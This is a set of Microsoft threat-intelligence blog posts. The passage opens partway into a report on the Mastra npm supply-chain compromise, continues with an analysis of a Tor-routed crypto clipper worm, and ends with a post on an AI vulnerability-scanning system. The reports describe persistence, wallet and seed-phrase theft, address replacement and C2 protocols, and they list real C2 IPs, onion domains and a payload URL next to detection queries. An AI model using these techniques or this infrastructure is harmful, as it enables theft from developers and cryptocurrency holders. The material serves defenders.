Step 3.B: Cross-platform persistence. The implant installs login persistence on all three major operating systems, using a consistent NVM/Node masquerade theme across platforms:

OSPersistence mechanismDrop locationArtifact nameWindowsRegistry Run key
(HKCU\…\CurrentVersion\Run)C:\ProgramData\NodePackages\NvmProtocalmacOSLaunchAgent
 (RunAtLoad)~/Library/NodePackages/com.nvm.protocal.plistLinuxsystemd user unit
 (WantedBy=default.target)~/.config/systemd/nvmconf/nvmconf.service

On Windows, the Run key launches a hidden PowerShell process that invokes Node.js:

On Linux, the systemd user unit restarts the implant on failure with a 5-second delay:

All three persistence paths drop the implant as protocal.cjs (a deliberate misspelling) into directories named to mimic legitimate Node.js installations. The value name NvmProtocal, the macOS label com.nvm.protocal, and the Linux unit nvmconf.service are deliberately designed to blend into a developer workstation.

Step 3.C: Collection and exfiltration. The implant performs the following collection before exfiltrating to the C2:

• Cryptocurrency wallet inventory: A hardcoded list of 166 wallet browser-extension IDs (MetaMask, Phantom, Coinbase Wallet, Binance Wallet, TronLink, and others) is matched against installed extensions across Chrome, Edge, and Brave profiles.
• Browser history: Each profile’s History SQLite database is copied to a temp directory prefixed with browser-hist- and queried through node:sqlite.
• Host reconnaissance: Gather hostname, architecture, platform, user ID, installed applications, and running processes.

Collected data is exfiltrated using a custom ICAP-style protocol over HTTPS POST (reqmod, PrimaryUrl, SecondaryUrl headers), with hostnames resolved through node:dns and traffic carrying a spoofed legacy IE8 User-Agent string.

Step 4: Writing and executing the payload. The downloaded code is written to a file with a cryptographically random name (<12 random hex bytes>.js) in the OS temp directory, then spawned as a detached, window-hidden Node.js process using child_process.spawn with unref().

Step 5: Self-deletion. The dropper removes itself (fs.rmSync(__filename)) to eliminate forensic evidence from the installed package directory.

Timeline analysis

Every package published by the ehindero account contained easy-day-js as an injected dependency. Packages last published by GitHub Actions CI/CD or other legitimate maintainers were not affected.

Attack timeline

Timestamp (UTC)EventJune 16, 07:05easy-day-js@1.11.21 published (clean bait, no payload)June 17, 01:01easy-day-js@1.11.22 published (adds postinstall with setup.cjs)June 17, 01:20mastra@1.13.1 and 140+ other @mastra/* packages published with easy-day-js dependency

** Microsoft Threat Intelligence monitoring observed easy-day-js@1.11.22 at 01:07 UTC and mastra@1.13.1 at 01:28 UTC on June 17, 2026

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

• Review dependency trees for direct or transitive usage of affected @mastra packages at the compromised versions listed above.
• Check for the presence of easy-day-js in node_modules/ or package-lock.json files across your projects and CI/CD environments.
• Pin known-good package versions where possible. For mastra, version 1.13.0 and earlier are unaffected. For @mastra/core, version 1.42.0 and earlier are unaffected.
• Run npm install with –ignore-scripts to prevent automatic execution of postinstall hooks during dependency installation.
• Check systems for indicators of compromise (IOC) artifacts: Look for $TMPDIR/.pkg_history, $TMPDIR/.pkg_logs, and unexpected .js files in the user’s home or temp directories.
• Rotate any credentials, tokens, or API keys that may have been present on systems where the compromised packages were installed.
• Block the C2 IP addresses 23.254.164[.]92 and 23.254.164[.]123 at the network perimeter.
• Audit CI/CD logs for unexpected outbound connections to the C2 IP addresses or suspicious postinstall script execution.
• Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

TacticObserved activityMicrosoft Defender coverageInitial accessSuspicious script execution during npm install or package lifecycle activityMicrosoft Defender Antivirus – Trojan:JS/NpmStealz.Z!MTB
– Trojan:JS/NpmStealz.ZA!MTB
 
Microsoft Defender for Endpoint
– Suspicious Node.js process behavior
– Suspicious Node.js script execution
 Execution
( Stage 1  )Postinstall hook automatically executes obfuscated setup.cjs dropper (4,572 bytes) during npm install;Microsoft Defender for Endpoint
– Suspicious Node.js process behavior
– Suspicious Node.js script execution  Execution / Defense evasion 
(Stage 2)Second-stage payload: Reflective .NET assembly injection: PowerShell downloads DLL, loads via [Reflection.Assembly]::Load(), invokes Extension.SubRoutine.Run2 method to inject payload into cmd.exe process; entire chain is filelessMicrosoft Defender Antivirus
Trojan:JS/NpmSteal.DB!MTB
Trojan:PowerShell/PsExec.DE!MTB

Microsoft Defender for Endpoint
-Process loaded suspicious .NET assembly
-A process was injected with potentially malicious code
-Reflective code loading (Fileless In-Memory Execution)

Microsoft Defender for Cloud
-Possible AI Tools Reconnaissance Detected
-Possible Secret Reconnaissance Detected
-Access to cloud metadata service detected
-Possible Post-Compromise Activity Detected in CICD RunnerPersistenceRegistry Run key created, executing hidden PowerShell that launches protocal.cjs on every user loginMicrosoft Defender for Endpoint
– Anomaly detected in ASEP registry  Command and controlGET request to hxxps://23.254.164[.]92:8000/update/49890878 and reads the response body as text.Microsoft Defender for Endpoint
– Command-line process communicating with malicious network endpoint   Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:  

• Incident investigation  
• Microsoft User analysis  
• Threat actor profile  
• Threat Intelligence 360 report based on MDTI article  
• Vulnerability impact assessment  

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.  

Advanced hunting

The following KQL queries can be used in Microsoft Defender XDR Advanced Hunting to identify potential exposure to this supply chain compromise.

Detect postinstall execution of setup.cjs

DeviceProcessEvents | where Timestamp > ago(7d) | where FileName in ("node", "node.exe") | where ProcessCommandLine has "setup.cjs" or ProcessCommandLine has "easy-day-js" | where ProcessCommandLine has “--no-warnings” | project Timestamp, DeviceName, AccountName, ProcessCommandLine, FolderPath, InitiatingProcessFileName | sort by Timestamp desc

Outbound connections to C2 infrastructure

DeviceNetworkEvents | where Timestamp > ago(7d) | where RemoteIP in ("23.254.164.92", "23.254.164.123") | project Timestamp, DeviceName, RemoteIP, RemotePort, RemoteUrl, InitiatingProcessFileName, InitiatingProcessCommandLine | sort by Timestamp desc Indicators of compromise (IOC)

Network indicators

IndicatorTypeDescription23.254.164.92IP addressPrimary C2 server23.254.164.123IP addressSecondary C2 address (from deobfuscated strings)https[:]//23[.]254[.]164[.]92:8000/update/49890878URLPayload download endpoint

File indicators

IndicatorTypeDescriptionB122A9873BEDF145AE2A7FD024B5F309007DBB025149F4DC4AC3F7E4F32A36A4SHA256setup.cjs (malicious postinstall dropper)AE70DD4F6BC0D1C8C2848E4E6B51934626C4818DCB5AF99D080DDBD7DC337185SHA256easy-day-js-1.11.22.tgz (weaponized tarball)4A8860240E4231C3A74C81949BE655A28E096A7D72F38FBE84E5B37636B98417SHA256easy-day-js-1.11.21.tgz (clean bait tarball)B73DE25C053C3225A077738A1FCBD9CA6966D7B3CD6F5494A30F0AA0EAE55C7ESHA256mastra-1.13.1.tgz (compromised CLI tarball)221c45a790dec2a296af57969e1165a16f8f49733aeab64c0bbd768d9943badfSHA256protocol.cjs

Host indicators

IndicatorTypeDescription$TMPDIR/.pkg_historyFile artifactContains the install path of the compromised package$TMPDIR /.pkg_logs File artifactContains XOR 0x80 encoded string “easy-day-js”<homedir>/<random_hex>.jsFile artifactDownloaded second-stage payload

Package indicators

IndicatorTypeDescriptioneasy-day-jsnpm packageMalicious typosquat of dayjssergey2016npm accountPublisher of easy-day-jsehinderonpm accountCompromised publisher of 140+ Mastra packages References

Security: mastra@1.13.1 is compromised — malicious postinstall payload via `easy-day-js` dependency · Issue #18046 · mastra-ai/mastra

Microsoft has identified a supply chain attack on the Mastra-AI npm ecosystem, with 80+ packages compromised through npm account takeover. The attacker introduced a phantom dependency into the… | Microsoft Threat Intelligence

This research is provided by Microsoft Defender Security Research, Suriyaraj Natarajan, Sagar Patil, Rajesh Kumar Natarajan, Mahesh Mandava, Arvind Gowda, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post From package to postinstall payload: Inside the Mastra npm supply chain compromise appeared first on Microsoft Security Blog.

In this article

1. Attack chain overview
2. Mitigation and protection guidance
3. References 
4. Learn more

Microsoft Threat Intelligence and Microsoft Defender Experts identified a Windows-based cryptocurrency clipper that has affected users since February of 2026. Clipper malware relies on stealing clipboard data and parsing it for valuable assets.

The clipper in this campaign relies on Windows Script Host and ActiveX-driven logic to launch a bundled Tor proxy and poll a hidden-service C2 server. It carries out high-frequency clipboard theft, screenshot exfiltration, and wallet-address substitution.

The execution of this clipper is notable because it does not depend on a traditional installer or exposed IP-based C2 infrastructure. Instead, it deploys a portable Tor client, routes traffic through a local SOCKS5 proxy, and blends data theft with remote code execution, turning a financially motivated stealer into a lightweight backdoor.

For defenders, the strongest signals are behavioral: script interpreters spawning suspicious child processes, localhost:9050 proxy usage, screen-capture commands in PowerShell, and signs of clipboard inspection or crypto-address replacement.

Microsoft Defender for Endpoint detects multiple components of this threat such as Suspicious JavaScript process and Possible data exfiltration using Curl. Additionally, Microsoft Defender Antivirus detects this crypto clipper as Trojan: Win32/CryptoBandits.A.

Attack chain overview

Since February 2026, malicious shortcut (.lnk) payloads have infected devices with a cryptocurrency clipper. This malware comprises two components that it deploys on the compromised system: a worm component that ensures propagation and a clipper/stealer component that harvests and exfiltrates cryptocurrency wallet information.  

The worm functionality ensures propagation by creating additional malicious shortcuts of legitimate files it identifies on the device. It also delivers file-based payloads and excludes them from Defender scanning. It deploys scheduled tasks for execution and persistence for both the worm component and the stealer component.  Figure 1 presents a high-level execution flow of the two components.

The clipper runs as a script-based payload that interacts with the operating system through WScript and ActiveXObject. It includes an anti-analysis check that queries running processes and exits if Task Manager is detected. If the environment passes this gate, the malware launches a renamed Tor binary named ugate.exe in a hidden window, waits about 60 seconds for Tor to bootstrap, generates a victim GUID, and registers the infected device with a hidden-service C2.

After registration, the malware enters a continuous loop. It polls the C2 for instructions and monitors the clipboard roughly every 500 milliseconds, extracting seed phrases and private keys that match wallet-related patterns. It also hijacks cryptocurrency addresses by replacing copied wallet values with attacker-controlled alternatives and uploads screenshots through Tor. If the C2 returns an EVAL response, the malware executes attacker-supplied code at runtime.

Figure 1: High level execution flow. Behaviors and methodologies Initial access

Initial access occurs from malicious .lnk files. In instances we analyzed, these .lnk shortcuts were distributed on USB storage devices. The .lnk shortcut stages a worm component in the form of an executable. The malicious script checks for an existing malicious payload and stops if the device is already infected. If the payload is not present, the malware fetches the payload from the C2 through Tor. The Figure below illustrates the functions that stage and decrypt the initial payload.

Figure 2: Initial payload delivery.

The .lnk payload scans the USB device for common document files like .doc, .xlsx, .pdf, hides the original files, and creates additional .lnk shortcut files with the same file names. The shortcut files are crafted with arguments to link to the worm payload. The end user is not aware that they are launching an executable when opening the .lnk files.

Figure 3: Worm staged via additional shortcuts. Execution

Once a user clicks on one of the shortcuts, the staged worm payload runs. It excludes staging folders and Windows binaries used in the execution of the stealer component. The malware then drops decrypted payloads, including two malicious JavaScript files, into the subfolder under the “C:\Users\Public\Documents” folder.

A five-character naming convention is used both for the subfolder and the scripts’ names.

The figure below illustrates an instance with files dropped under a ” C:\Users\Public\Documents\omoho” folder path:

Figure 4: JavaScript payload delivered following a Defender AV exclusion.

The worm component also establishes persistence by creating two indefinite scheduled tasks: one responsible for spreading itself to a freshly inserted uncompromised USB storage device, and another for the stealer activity.

Defense evasion

The malware employs multi-layered obfuscation, with all components encrypted and only decrypted at runtime. Installation is handled by a Python script that is itself obfuscated using PyArmor and packaged into a standalone executable via PyInstaller. In addition, the two JavaScript payloads are each protected with dual-layer obfuscation, further increasing analysis complexity. This design significantly reduces static visibility while maintaining flexible runtime behavior.

The sample also incorporates a basic anti-analysis check by querying the Win32_Process WMI class and terminating execution if Task Manager is detected. Although simplistic, this mechanism can hinder manual inspection and slow initial triage efforts.

The bundled Tor client is central to the operation. By routing communication over localhost:9050 and resolving “.onion” destination domains inside Tor, the malware reduces DNS visibility, obscures the final C2 destination, and complicates destination-based blocking. This design gives the operator anonymity benefits while keeping the malware compact and self-contained.

Command and control

The command and control over a Tor-routed domain routes network traffic through local IP address 127.0.0.1 on port 9050. The tunneled domain appears in the initiating process command line. The C2 domains use the following endpoints and actions across different execution stages.

• C2 Domain: <domain>.onion
• Endpoints:
  • /route.php : Beacon and command retrieval
  • /recvf.php : File upload (screenshots)
  • /stub.php: Payload download
• Communication:
  • Protocol: HTTP over Tor (SOCKS5 proxy at localhost:9050)
  • Method: curl with POST requests
  • Authentication: GUID + GEIP (geolocation)
• Actions Sent to C2:
  • GUID : Heartbeat beacon
  • SEED : Exfiltrated seed phrase
  • PKEY : Exfiltrated private key
  • REPL : Address replacement notification
  • GOOD : (legacy/fallback action)
• Commands from C2:
  • GUID : Acknowledge/refresh victim GUID
  • EVAL : Execute arbitrary JScript code (remote code execution)

Figure 5: C2 endpoints specifications.

A file named “cfile” is created on the infected system as an output for payload hosted on the C2 domain.

The malware sample we analyzed also provided a function called checkC2Command. The function has an EVAL method, which would allow any payload placed in the cfile to be executed on the victim’s system.

Figure 6: cfile download from a C2 domain. Figure 7: CheckC2Command function. Collection Seed

Clipboard theft focuses on high-value financial artifacts. The malware detects 12 or 24-word BIP39 seed phrases in clipboard data. It saves the seed to local file (GOOD path) as a backup and exfiltrates it to the C2 domain via Tor. It retries network transmission until it is acknowledged and deletes local backup after successful transmission. It also takes five screenshots (ten seconds apart) and uploads them asynchronously. The screenshots help the threat actor gain additional context on the end user’s wallet and balances.

Private Key extraction

The crypto clipper also detects cryptocurrency keys for both Ethereum and Bitcoin WIF. Once the captured keys are saved and exfiltrated, the malware captures screenshots of the user’s screen for a full context. The captured values are validated against a word list.

Address replacement

The stealer also probes for cryptocurrency addresses and replaces them with attacker’s addresses. The malware checks that the address has alphanumeric values.

• For a Bitcoin legacy address which starts with “1” and has a length of 32-36 values, the address is replaced with an address that matches the first two characters.

• For a Bitcoin P2SH address which starts with a “3” and has a length of 32-36 values, the stealer replaces the address with one matching the original address on the first two characters.

• For a Bitcoin taproot address which starts with “bc1p” and has a length of 40-64 characters, the stealer replaces it with one matching the last character.

• For a Bitcoin Bech32 address which starts with “bc1q” and has a length of 40-64 characters, the stealer replaces only the last character.

• For a Tron address which starts with “T” and has exactly 34 characters, the stealer replaces the address with one that matches the first two characters.
• For a Monero address which starts with a “4” or a “8” and has exactly 95 characters, the stealer replaces the address with a single address.

The following shows an example of address replacement:

Figure 8: Function used to replace a BTC P2SH wallet address.

This malware family shows how lightweight, script-based stealers can deliver outsized impact when paired with anonymized communications and runtime tasking. The combination of Tor-routed C2, clipboard targeting, screenshot capture, and remote code execution gives attackers both immediate monetization paths and continued control over compromised devices.

Organizations should focus on hardening script execution paths, monitoring local SOCKS proxy abuse, and using behavioral hunting to connect script activity with network, clipboard, and process signals. That combination offers the best chance of surfacing this class of threat before financial loss or broader follow-on activity occurs.

Mitigation and protection guidance

Defenders should prioritize behavioral detections over static signatures. Investigate systems where WScript, CScript, or related script engines launch curl, cmd.exe, PowerShell, or unexpected executables. localhost:9050 network activity, especially when coupled with suspicious scripting behavior, is also valuable context for triage.

Where operationally feasible, reduce abuse of script-based interpreters and review Attack Surface Reduction rules that block obfuscated scripts and suspicious child-process chains. Review detections for PowerShell-based screen capture and examine devices for indicators of clipboard inspection or wallet-address replacement.

Recommended actions

• Disable AutoRun/AutoPlay for all removable media
• Block .lnk execution from removable drives via GPO
• Restrict unnecessary use of wscript.exe, cscript.exe, and similar script hosts where possible.
• Review and enable relevant Attack Surface Reduction rules, especially those focused on obfuscated script execution and suspicious child-process behavior.
• Investigate script-to-network chains involving curl, PowerShell, or cmd.exe.
• Hunt for local SOCKS5 proxy activity on localhost:9050.
• Review clipboard-related and screen-capture behaviors on devices handling sensitive financial workflows.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Tactic Observed activity Microsoft Defender coverage  Initial Access/ExecutionMalicious .lnk delivers malware components  EDR Suspicious behavior by cmd.exe was observedSuspicious Python library load     Execution WScript / ActiveXObject execution and runtime tasking EDR Suspicious JavaScript processSuspicious Python library loadSuspicious behavior by cmd.exe was observed   AV Contebrew malware was prevented Behavior:Win64/PyPowJs.STA  DiscoveryTask Manager check used as an anti-analysis gate   Persistence Scheduled tasks are created to run the JavaScript payload wrapped in a XML file.EDR Suspicious Task Scheduler activity    Defense EvasionShuffled strings and decoder functions conceal commands and APIs  Task Manager if detected, the malware execution is haltedBehavior:Win64/ProcessExclusion.ST; Behavior:Win64/PathExclusion.STA Behavior:Win64/PathExclusion.STB  Collection    Clipboard theft targets seed phrases, keys, and wallet addresses   PowerShell screenshot capture supports operational visibilityAV:
Trojan:Win32/CryptoBandits.A Trojan:Win32/CryptoBandits.B Trojan:JS/CryptoBandits.A Trojan:JS/CryptoBandits.B    Command and ControlTraffic routed through Tor via local SOCKS5 proxying EDR Possible data exfiltration using curlBehavior:Win64/CurlOnion.STA  ExfiltrationData posted using Curl through Tor via local SOCKS5 proxying  EDR Possible data exfiltration using curl Microsoft Security Copilot  

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:  

• Incident investigation  
• Microsoft User analysis  
• Threat actor profile  
• Threat Intelligence 360 report based on MDTI article  
• Vulnerability impact assessment  

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.  

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Advanced hunting

Microsoft Defender customers can run the following queries to find related activity in their networks:

Execution launched from scheduled tasks

DeviceProcessEvents | where FileName =="schtasks.exe" | where ProcessCommandLine matches regex @"(?i)schtasks\s+/create\s+/tn\s+[a-z]{4,6}\s+/xml\s+C:\\Users\\Public\\Documents\\[a-z]{4,6}\\[a-z]{4,6}\.xml\s+/f"

Local Tor proxy activity (localhost:9050)

DeviceNetworkEvents | where ActionType =="ConnectionSuccess" | where InitiatingProcessCommandLine has_all ("curl","socks5-hostname",".onion")

Tor-routed curl execution

DeviceProcessEvents | where FileName =~ "curl.exe" | where ProcessCommandLine has_all ("--socks5-hostname", "localhost:9050") | project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine MITRE ATT&CK Techniques observed

This threat has exhibited use of the following attack techniques. For standard industry documentation about these techniques, refer to the MITRE ATT&CK framework.

Initial Access

• T1091 Replication Through Removable Media

Execution

• T1059 Command and Scripting Interpreter | EVAL-driven remote code execution from server tasking

Discovery

• T1057 Process Discovery | Task Manager check used as an anti-analysis gate

Persistence

• T1053.005 Scheduled Task/Job | Scheduled Task

Defense evasion

• T1027 | Shuffled strings and decoder functions conceal commands and APIs

Collection

• T1115 Clipboard Data | Clipboard theft targets seed phrases, keys, and wallet addresses
• T1113 Screen Capture | PowerShell screenshot capture supports operational visibility

Command and Control

• T1090 Proxy | Traffic routed through Tor via local SOCKS5 proxying

Exfiltration

• T1048.002 Exfiltration Over Alternative Protocol

Indicators of compromise (IOC) IndicatorTypeDescription7630debd35cac6b7d58c4427695579b3e3a8b1cc462f523234cd6c698882a68cSHA-256Crypto Clipper Worm  a7abf1d9d6686af1cefcd60b17a312e7eb8cfe267def1ec34aeab6128c811630SHA-256Crypto Clipper Worm23c1e673f315dafa14b73034a90dd3d393a984451ff6601b8be8142be6487b43SHA-256Crypto Clipper Wormcf9fc891ea5ca5ecd8113ef3e69f6f52ff538b6cccbdaa9559106fc72bc6da30SHA-256  Crypto Clipper Worm100407796028bf3649752d9d2a67a0e4394d752eb8de86daa42920e814f3fae8SHA-256  Crypto Clipper Worm  d14b80cbd1a19d4ad0473a0661297f8fdf598e81ff6c4ab24e212dcad2e54b3fSHA-256  Crypto Clipper Worm  9d90f54ae36c6c5435d5b8bed40faf54cc91f6db28574a6310b5ffaeb0362e96SHA-256  Crypto Clipper Worm  67fc5cf395e28294bbb91ed0e954fdf2e80ebd9119022a115a42c286dc8bacf5SHA-256  Crypto Clipper Worm  0020d23b0f9c5e6851a7f737af73fd143175ee47054931166369edd93338538aSHA-256  Crypto Clipper Worm  35a6bc44b176a050fd6824904b7604f0f45b0fdfa26bf9500b9e05973b387cfdSHA-256  Crypto Clipper Worm  c824630154ac4fdfce94ded01f037c305eab51e9bef3f493c60ff3184a640502SHA-256  Crypto Clipper Worm  d43bf94f0cb0ab97c88113b7e07d1a4024d1610617b5ad05882b1dbab89e15baSHA-256  Crypto Clipper Worm  b2777b73a4c33ac6a409d475057843be6b5d32262ef28a1f1ff5bb52e3834c5fSHA-256  Crypto Clipper Worm  7787a9a7d8ae393aa32f257d083903c4dc9b97a1e5b0458c4cd480d4f3cb5b05SHA-256  Crypto Clipper Worm  f3b54984caca95fd496bcfe5d7db1611b08d2f5b7d250b43b430e5d76393f9e0SHA-256  Crypto Clipper Worm  20db98af3037b197c8a846dbf17b87fc6f049c3e0d9a188f9b9a74d3916dd5e1SHA-256  Crypto Clipper Worm  ugate.exe  FilenamePortable Tor binary  cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion  DomainC2 domaingfoqsewps57xcyxoedle2gd53o6jne6y5nq5eh25muksqwzutzq7b3ad.onionDomainC2 domainhe5vnov645txpcv57el2theky2elesn24ebvgwfoewlpftksxp4fnxad.onion  DomainC2 domainlyhizqy2js2eh6ufngkbzntouiikdek5zsdj3qwa22b4z6knpqorgiad.onionDomainC2 domainj3bv7g27oramhbxxuv6gl3dcyfmf44qnvju3offdyrap7hurfprq74qd.onion  Domain  C2 domain  shinypogk4jjniry5qi7247tznop6mxdrdte2k6pdu5cyo43vdzmrwid.onion  Domain  C2 domain  7goms4byw26kkbaanz5a5u5234gusot7rp5imzc3ozh66wwcvmcudjid.onionDomain  C2 domain  facebookwkhpilnemxj7asaniu7vnjjbiltxjqhye3mhbshg7kx5tfyd.onion  Domain  C2 domain  wt26llpl5k6gok3vnaxmucwgzv2wk3l7nuibbh25clghrtus3p5ctsid.onion  Domain  C2 domain  ijzn3sicrcy7guixkzjkib4ukbiilwc3xhnmby4mcbccnsd7j2rekvqd.onion  Domain  C2 domain References 

• https://www.microsoft.com/en-us/security/blog/2022/05/17/in-hot-pursuit-of-cryware-defending-hot-wallets-from-attacks/#clipping-and-switching. Microsoft (published 2022-05-17)
• https://gbhackers.com/ssh-over-tor-tunnel/. Ghbhackers(published 2026-04-28)

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Crypto Clipper uses Tor and worm-like propagation for persistence and control appeared first on Microsoft Security Blog.

In this article

1. From the lab into the pipeline
2. This month’s set of discoveries
3. Beyond the headline: What the engineering work taught us 
4. Where we go next 
5. Defense at AI speed 
6. Learn more

Every vulnerability has two clocks running. One belongs to the defender racing to find it; the other to the cyberattacker hoping to find it first. For as long as software has existed, those clocks have favored the attacker, because modern code is vast, interconnected, and changing every day, while security reviews happen at fixed moments in time. The space between “code shipped” and “code reviewed” is where risk quietly accumulates. 

A few months ago, we set out to reshape that timing. We introduced codename MDASH, Microsoft Security’s multi-model agentic scanning system, built to discover, validate, and help remediate software vulnerabilities end-to-end. The goal was straightforward to articulate and hard to execute: take AI-powered vulnerability discovery and remediation capability from a research project and turn them into production-grade defense at enterprise scale. That meant going beyond pattern matching and building a system that could reason through the complexity of proprietary code and platforms like Windows, Hyper-V, Azure, and identity systems.

Learn more about MDASH and sign up to join the preview

Rather than rely on any single model, the system orchestrates a panel of specialized AI agents, each with its own role in a structured pipeline, so security teams can surface hard bugs quickly and systematically, expanding the reach of human-led review. Findings flow into Microsoft Defender workflows, where they can be prioritized alongside threat intelligence and runtime signals, and into GitHub and Azure DevOps pipelines, where they can be validated and remediated, a closed loop connecting discovery, validation, proof, and fix across the Microsoft stack.

When we introduced the system, it topped a leading industry benchmark. That was the announcement, and the starting line. In the weeks since, the system has moved from early capability validation into active use by Microsoft engineering teams across Windows, Azure, and identity systems, applied as part of real security workflows rather than isolated testing environments. This post explores what we have built since, the lessons we’ve learned from turning research into a production-quality system, and the opportunities ahead as we focus on delivering real-world security impact.

From the lab into the pipeline

The most meaningful change since launch is where the system is being used. Engineering teams across Windows, Azure, and identity systems are now applying the system as part of their security workflows, running it alongside existing processes and reviews, targeting it at the surfaces that are hardest to audit manually and have historically required the most effort to cover. The goal is to use AI-driven analysis to go deeper, earlier, and across a broader set of targets than traditional approaches allow. 

The surfaces in scope are among the most complex Microsoft builds: 

• Windows, the kernel, Hyper-V, and the networking stack 
• Azure, virtualization and core infrastructure services 
• Identity, Active Directory Domain Services 

These are not easy targets. They are the deep layers of the platform, components where reasoning about code requires understanding kernel calling conventions, object lifetime invariants, and trust boundaries that no language model encountered in its training data. A single overlooked flaw at this layer can have outsized consequences. The system is not replacing security teams working at this depth. It is giving them meaningful reach into territory they could not cover alone.

Codename MDASH has enabled our security team to perform vulnerability hunting at the scale of Windows with a much higher depth of analysis than was previously possible.”

—Windows security team (kernel, Hyper-V, networking stack) 

This is also where the system fits into Microsoft’s existing DevSecOps story. It is not a standalone scanner bolted onto the side of engineering—it plugs into the tools teams already use. Validated findings surface as code scanning alerts in GitHub Advanced Security (GHAS), appearing inline on pull requests and in the repository’s security tab so engineers triage them in the same place they review code. The same findings flow into Azure DevOps, where they can gate pipeline builds and open work items for remediation, and into Microsoft Defender, where they are prioritized alongside threat intelligence and runtime signals. Discovery is only the entry point: because a finding travels the same path as every other code change—with an owner, a pull request, and a fix on the other side—it lands as actionable engineering work rather than stalling in a backlog. The effect is to strengthen the software development lifecycle from the inside, not to add one more tool for teams to tend.

This month’s set of discoveries

The measure of any security system is what it catches. This month’s Patch Tuesday cohort includes a set of vulnerability discoveries across the Windows ecosystem, Hyper-V, the Windows kernel, Active Directory Domain Services, Remote Desktop Client, HTTP.sys, DNS Client, and DHCP Client, spanning exploit classes including remote code execution, elevation of privilege, and information disclosure.

The range of attack vectors is significant. Several findings involve high-severity remote code execution vulnerabilities in core infrastructure layers that are difficult to scrutinize using manual approaches alone. Others surface more subtle issues, such as privilege escalation through DNS components and information disclosure through DHCP client behavior, that reflect the power of code-centric reasoning applied across many targets simultaneously. Each was identified before exploitation, in areas of the codebase that would traditionally demand significant manual effort to review. 

CVE ID Component Type Exploit Class CVSS (Common Vulnerability Scoring System)CVE-2026-45607 Windows Hyper-V Out-of-bounds Read Remote Code Execution 8.4CVE-2026-45641 Windows Hyper-V Type Confusion Remote Code Execution 8.4CVE-2026-47652 Windows Hyper-V Heap-based Buffer Overflow Remote Code Execution 8.2CVE-2026-41108 Windows DNS Client Heap-based Buffer Overflow Elevation of Privilege 7.0CVE-2026-45608 Windows DHCP Client Out-of-bounds Read Information Disclosure 6.8CVE-2026-45634 Windows DHCP Client Out-of-bounds Read Information Disclosure 5.5CVE-2026-45648 Windows Active Directory Domain Services Stack-based Buffer Overflow Remote Code Execution 8.8CVE-2026-47289 Remote Desktop Client Heap-based Buffer Overflow Remote Code Execution 8.8CVE-2026-45657 Windows Kernel Use-after-free Remote Code Execution 9.8CVE-2026-47291 HTTP.sys Integer Overflow Remote Code Execution 9.8 Beyond the headline: What the engineering work taught us  How the system improved

To improve a system, you have to measure it. CyberGym, an industry benchmark built on 1,507 real-world vulnerabilities, gave us a way to iterate quickly and see exactly where we were getting better.

Since the initial announcement, we evolved the system significantly: new capabilities added, and the entire pipeline rebuilt based on customer feedback, CyberGym evaluation results, and extensive internal testing. The latest version has achieved 96.5% (any crash) on CyberGym, including both target and non-target vulnerabilities.

The gains were concentrated in the earliest stages of the pipeline: prepare and scan. These are foundational. Improvements there directly raise the quality of everything downstream, such as validation and proof generation, where precise understanding of the codebase and accurate exploration are critical. Specifically: 

• Sharper scoping. The system now more clearly distinguishes the code under audit from contextual code, defining dependencies based on their role rather than their origin. Later stages can focus on what matters, improving both efficiency and signal quality. 
• More comprehensive threat modeling. The system has a fuller view of a target repository’s attack surface, particularly in identifying entry points for untrusted input. This includes improved recognition of maintainer-defined entry points, such as fuzz harnesses, that may reside outside the primary codebase but are critical for assessing reachability. The system is better positioned to determine which findings are genuinely exploitable. 
• A more reliable call graph. The correctness and robustness of the call graph, a core structure used across multiple pipeline stages, has been strengthened, improving the system’s ability to reason about code interactions, especially for reachability analysis during validation. 
